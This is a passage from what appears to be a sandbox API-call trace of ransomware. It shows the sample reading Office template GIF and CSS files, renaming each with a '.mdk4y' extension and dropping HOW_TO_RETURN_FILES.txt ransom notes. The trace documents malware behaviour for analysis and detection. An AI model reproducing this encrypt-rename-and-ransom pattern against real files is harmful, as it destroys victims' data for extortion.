lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826470400000) returned 1 [0189.474] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x96a, lpOverlapped=0x0) returned 1 [0189.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826470600000) returned 1 [0189.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826470600000) returned 1 [0189.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif.mdk4y")) returned 1 [0189.477] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.477] AreFileApisANSI () returned 1 [0189.477] GetACP () returned 0x4e4 [0189.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Response.gif", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="Response.gif", lpUsedDefaultChar=0x37dda8) returned 12 [0189.477] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826470800000) returned 1 [0189.478] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x68e, lpOverlapped=0x0) returned 1 [0189.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826471500000) returned 1 [0189.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826471500000) returned 1 [0189.485] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif.mdk4y")) returned 1 [0189.486] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0189.486] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0189.487] AreFileApisANSI () returned 1 [0189.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0189.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.488] GetFileType (hFile=0x114) returned 0x1 [0189.488] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.488] AreFileApisANSI () returned 1 [0189.488] GetACP () returned 0x4e4 [0189.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solutions.css", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Solutions.css", lpUsedDefaultChar=0x37de34) returned 13 [0189.489] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826471900000) returned 1 [0189.489] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x19cc, lpOverlapped=0x0) returned 1 [0189.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826475400000) returned 1 [0189.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826475400000) returned 1 [0189.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css.mdk4y")) returned 1 [0189.527] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.527] AreFileApisANSI () returned 1 [0189.527] GetACP () returned 0x4e4 [0189.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solutions_Doc.css", cchWideChar=17, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Solutions_Doc.css", lpUsedDefaultChar=0x37de34) returned 17 [0189.527] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826475700000) returned 1 [0189.527] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xf7, lpOverlapped=0x0) returned 1 [0189.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826475800000) returned 1 [0189.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826475800000) returned 1 [0189.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css.mdk4y")) returned 1 [0189.530] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.530] AreFileApisANSI () returned 1 [0189.530] GetACP () returned 0x4e4 [0189.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solutions_Generic.css", cchWideChar=21, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Solutions_Generic.css", lpUsedDefaultChar=0x37de34) returned 21 [0189.530] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476000000) returned 1 [0189.530] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x55c, lpOverlapped=0x0) returned 1 [0189.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476100000) returned 1 [0189.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476100000) returned 1 [0189.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css.mdk4y")) returned 1 [0189.532] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.532] AreFileApisANSI () returned 1 [0189.532] GetACP () returned 0x4e4 [0189.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solutions_Person.css", cchWideChar=20, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Solutions_Person.csss", lpUsedDefaultChar=0x37de34) returned 20 [0189.533] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476300000) returned 1 [0189.533] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xa7, lpOverlapped=0x0) returned 1 [0189.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476400000) returned 1 [0189.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476400000) returned 1 [0189.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css.mdk4y")) returned 1 [0189.535] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.535] AreFileApisANSI () returned 1 [0189.535] GetACP () returned 0x4e4 [0189.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solutions_Response.css", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Solutions_Response.csso", lpUsedDefaultChar=0x37de34) returned 22 [0189.535] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476600000) returned 1 [0189.536] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xab, lpOverlapped=0x0) returned 1 [0189.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476700000) returned 1 [0189.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826476700000) returned 1 [0189.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css.mdk4y")) returned 1 [0189.538] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.538] AreFileApisANSI () returned 1 [0189.538] GetACP () returned 0x4e4 [0189.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpringGreen", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SpringGreenesponse.css", lpUsedDefaultChar=0x37de34) returned 11 [0189.538] AreFileApisANSI () returned 1 [0189.538] GetACP () returned 0x4e4 [0189.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=85, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\瞈鑖瞣_") returned 85 [0189.538] AreFileApisANSI () returned 1 [0189.538] GetACP () returned 0x4e4 [0189.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0189.538] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.538] AreFileApisANSI () returned 1 [0189.539] GetACP () returned 0x4e4 [0189.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0189.539] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.539] AreFileApisANSI () returned 1 [0189.539] GetACP () returned 0x4e4 [0189.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BUTTON.GIFs", lpUsedDefaultChar=0x37dda8) returned 10 [0189.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826477000000) returned 1 [0189.540] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1ac, lpOverlapped=0x0) returned 1 [0189.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826477100000) returned 1 [0189.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826477100000) returned 1 [0189.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif.mdk4y")) returned 1 [0189.542] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.542] AreFileApisANSI () returned 1 [0189.542] GetACP () returned 0x4e4 [0189.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0189.542] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826477300000) returned 1 [0189.543] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0189.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826477400000) returned 1 [0189.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826477400000) returned 1 [0189.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif.mdk4y")) returned 1 [0189.569] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.569] AreFileApisANSI () returned 1 [0189.569] GetACP () returned 0x4e4 [0189.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0189.569] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826480000000) returned 1 [0189.570] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0189.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826480100000) returned 1 [0189.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826480100000) returned 1 [0189.572] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif.mdk4y")) returned 1 [0189.574] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0189.574] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0189.574] AreFileApisANSI () returned 1 [0189.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0189.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.575] GetFileType (hFile=0x114) returned 0x1 [0189.576] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.576] AreFileApisANSI () returned 1 [0189.576] GetACP () returned 0x4e4 [0189.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpringGreen.css", cchWideChar=15, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SpringGreen.cssnse.css", lpUsedDefaultChar=0x37de34) returned 15 [0189.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826480600000) returned 1 [0189.576] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd01, lpOverlapped=0x0) returned 1 [0189.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826482400000) returned 1 [0189.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826482400000) returned 1 [0189.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css.mdk4y")) returned 1 [0189.596] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.596] AreFileApisANSI () returned 1 [0189.596] GetACP () returned 0x4e4 [0189.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sts.css", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Sts.cssreen.css", lpUsedDefaultChar=0x37de34) returned 7 [0189.596] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826482700000) returned 1 [0189.597] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x9fe, lpOverlapped=0x0) returned 1 [0189.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826484000000) returned 1 [0189.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826484000000) returned 1 [0189.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css.mdk4y" (normalized: "c:\\program files\\microsoft 